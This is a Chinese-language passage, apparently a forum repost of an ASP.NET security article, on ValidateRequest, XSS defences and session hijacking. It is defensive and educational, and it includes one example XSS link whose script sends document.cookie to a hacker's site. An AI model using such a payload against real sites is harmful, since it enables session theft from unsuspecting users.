七、ValidateRequest
跨站點腳本 (XSS) 對於很多經驗豐富的 Web 開發人員來說是老朋友了,它在 1999 年左右就已經出現了。簡單地說,XSS 利用代碼中的漏洞來將黑客的可執行代碼引入另一個用戶的瀏覽器會話中。如果被執行,注入的代碼可以執行多種不同的操作 — 獲取 Cookie 並將一個副本上載到黑客控制的 Web 站點,監視用戶的 Web 會話並轉發數據,修改被黑的頁的行為和外觀以使其提供錯誤的信息,甚至使自己變為持續性的,這樣用戶下一次返回該頁時,欺詐代碼會再次運行。請在 TechNet 文章 Cross-site Scripting Overview 中詳細閱讀有關 XSS 攻擊的基礎知識。
代碼中的哪些漏洞導致 XSS 攻擊成為可能?
XSS 利用的是動態生成 HTML 頁、但並不驗證回顯到頁的輸入的 Web 應用程序。這裡的輸入 是指查詢字符串、Cookie 和表單域的內容。如果這些內容在未經適當性能檢查的情況下出現在網絡上,就存在黑客對其進行操作以在客戶端瀏覽器中執行惡意腳本的風險。(前面提到的一次單擊攻擊其實是 XSS 的一種新近變種。)典型的 XSS 攻擊會導致不抱懷疑的用戶點擊一條誘惑性鏈接,而該鏈接中嵌入了轉義的腳本代碼。欺詐代碼將被發送到一個存在漏洞且會毫不懷疑地輸出它的頁。以下是可能發生的情況的一個示例:
<a href="
訪客無法瀏覽此圖片或連結,請先 註冊 或 登入會員 。
<script>document.location.replace(
訪客無法瀏覽此圖片或連結,請先 註冊 或 登入會員 。
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>
用戶單擊一個看上去明顯安全的鏈接,最終導致將一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先獲取用戶計算機上的所有 Cookie,然後將它們發送到黑客的 Web 站點。
請務必注意,XSS 不是一個特定於供應商的問題,因此並不一定會利用 Internet Explorer 中的漏洞。它影響目前市場上的所有 Web 服務器和瀏覽器。更應注意的是,沒有哪一個修補程序能夠修復這一問題。您完全可以保護自己的頁免受 XSS 攻擊,方法是應用特定的措施和合理的編碼實踐。此外,請注意,攻擊者並不需要用戶單擊鏈接就可以發起攻擊。
要防禦 XSS,您必須從根本上確定哪些輸入是有效的,然後拒絕所有其他輸入。您可以在一本書中讀到抵禦 XSS 攻擊的詳細檢查表,該書在 Microsoft 屬於必讀範圍 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc。特別地,我建議您仔細閱讀第 13 章。
阻止陰險的 XSS 攻擊的主要方法是向您的輸入(任何類型的輸入數據)添加一個設計合理、有效的驗證層。例如,某些情況下即使是原本無害的顏色(RGB 三色)也會將不受控制的腳本直接帶入頁中。
在 ASP.NET 1.1 中,@Page 指令上的 ValidateRequest 屬性被打開後,將檢查以確定用戶沒有在查詢字符串、Cookie 或表單域中發送有潛在危險性的 HTML 標記。如果檢測到這種情況,將引發異常並中止該請求。該屬性默認情況下是打開的;您無需進行任何操作就可以得到保護。如果您想允許 HTML 標記通過,必須主動禁用該屬性。
<%@ Page ValidateRequest="false" %>
ValidateRequest不是 萬能的藥方,無法替代有效的驗證層。請閱讀此處以獲取大量有關該功能的基礎原理的寶貴信息。它基本上通過應用一個正則表達式來捕獲一些可能有害的序列。
注 ValidateRequest 功能原本是有缺陷的,因此您需要應用一個修補程序它才能按預期工作。這樣的重要信息常常不為人們所注意。奇怪的是,我發現我的其中一台計算機仍受該缺陷的影響。試試看!
沒有任何關閉 ValidateRequest 的理由。您可以禁用它,但必須有非常好的理由;其中一條這樣的理由可能是用戶需要能夠將某些 HTML 張貼到站點,以便得到更好的格式設置選項。這種情況下,您應當限制所允許的 HTML 標記(<pre>、<b>、<i>、<p>、<br>、<hr>)的數目,並編寫一個正則表達式,以確保不會允許或接受任何其他內容。
以下是一些有助於防止 ASP.NET 遭受 XSS 攻擊的其他提示:
1.使用 HttpUtility.HtmlEncode 將危險的符號轉換為它們的 HTML 表示形式。
2.使用雙引號而不是單引號,這是因為 HTML 編碼僅轉義雙引號。
3.強制一個代碼頁以限制可以使用的字符數。
總之,使用但是不要完全信任 ValidateRequest 屬性,不要太過懶惰。花些時間,從根本上理解 XSS 這樣的安全威脅,並規劃以一個關鍵點為中心的防禦策略:所有的用戶輸入都是危險的.
方案 1 購物車的內容存儲在會話狀態中。但是,在結帳時,用戶被要求通過安全的 SSL 連接確認和輸入付款詳細信息。這種情況下,通過接入其他用戶的會話狀態,黑客僅可以瞭解到一些有關受害者的購物喜好的細節。在這種環境下劫持實際上並不會導致任何損害。受威脅的只是保密性。
方案 2 應用程序為每位註冊用戶處理一份檔案,並將檔案保存在會話狀態中。糟糕的是,檔案中(可能)包括信用卡信息。為什麼要將用戶檔案詳細信息存儲到會話中?可能應用程序的其中一個目標是,從根本上避免使用戶不得不重複鍵入自己的信用卡和銀行信息。因此,在結算時,應用程序會將用戶定位到一個具有預先填充的域的頁。而有失謹慎的是,這些域的其中一個是從會話狀態中獲取的信用卡號。現在您可以猜到故事的結局了嗎?
應用程序的頁的設計,是防止會話劫持攻擊的關鍵所在。當然,還有兩點沒有理清。第一點是,如何防止 cookie 盜竊?第二點是,ASP.NET 可以如何檢測和阻止劫持?
ASP.NET 會話 cookie 極其簡單,僅限於包含會話 ID 字符串本身。ASP.NET 運行庫從 cookie 中提取會話 ID,並將其與活動的會話進行比較。如果 ID 有效,ASP.NET 將連接到對應的會話並繼續。這種行為極大地方便了已經偷到或者可以猜出有效的會話 ID 的黑客。
XSS 和中間人 (man-in-the-middle) 攻擊以及對客戶端 PC 的強力訪問,都是獲取有效 cookie 的方法。為了防止盜竊,您應當實現安全最佳實踐來防止 XSS 及其各變種得手。
而為了防止會話 ID 猜測,您應當乾脆避免太高估計自己的技能。猜測會話 ID 意味著您知道如何預測有效的會話 ID 字符串。對於 ASP.NET 所使用的算法(15 個隨機數字,映射為啟用 URL 的字符),隨機猜測到有效 ID 的概率接近於零。我想不到任何理由來用自己的會話 ID 生成器替換默認的會話 ID 生成器。許多情況下,這麼做只會為攻擊者提供方便。
會話劫持更為糟糕的後果是一旦 cookie 被盜或者被猜出,ASP.NET 並沒有什麼辦法來檢測欺詐性的 cookie 使用。同樣,原因是 ASP.NET 將自己限制為檢查 ID 的有效性,以及 cookie 的來源地。
我在 Wintellect 的朋友 Jeff Prosise 為 MSDN Magazine 寫了一篇很好的關於會話劫持的文章。他的結論並不令人安慰:幾乎不可能建立能夠完全抵禦依靠偷來的會話 ID Cookie 所發起的攻擊的防禦工事。但是他開發的代碼為進一步提升安全標準提供了非常明智的建議。Jeff 創建了一個 HTTP 模塊,該模塊為會話 ID Cookie 監視傳入的請求和傳出的響應。該模塊將一條哈希代碼附加到會話 ID 之後,使攻擊者重用 cookie 更為困難。您可以在此處閱讀詳情.